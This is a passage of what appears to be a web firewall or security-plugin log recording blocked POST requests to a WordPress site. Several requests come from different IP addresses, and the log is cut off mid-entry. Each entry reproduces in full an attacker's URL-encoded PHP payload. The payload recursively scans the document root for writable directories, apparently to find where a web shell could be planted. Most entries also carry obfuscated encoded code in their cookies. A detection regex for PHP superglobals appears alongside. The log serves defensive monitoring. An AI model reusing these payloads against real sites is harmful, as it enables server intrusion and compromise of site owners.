/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMUpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3811\n\ndw=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 11:00:24","69.167.165.138","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> CB:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3811\n\nCB=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 11:00:31","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> zl:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-length:3832\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrzjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nzl=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 11:00:35","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Vm:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-length:3811\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft 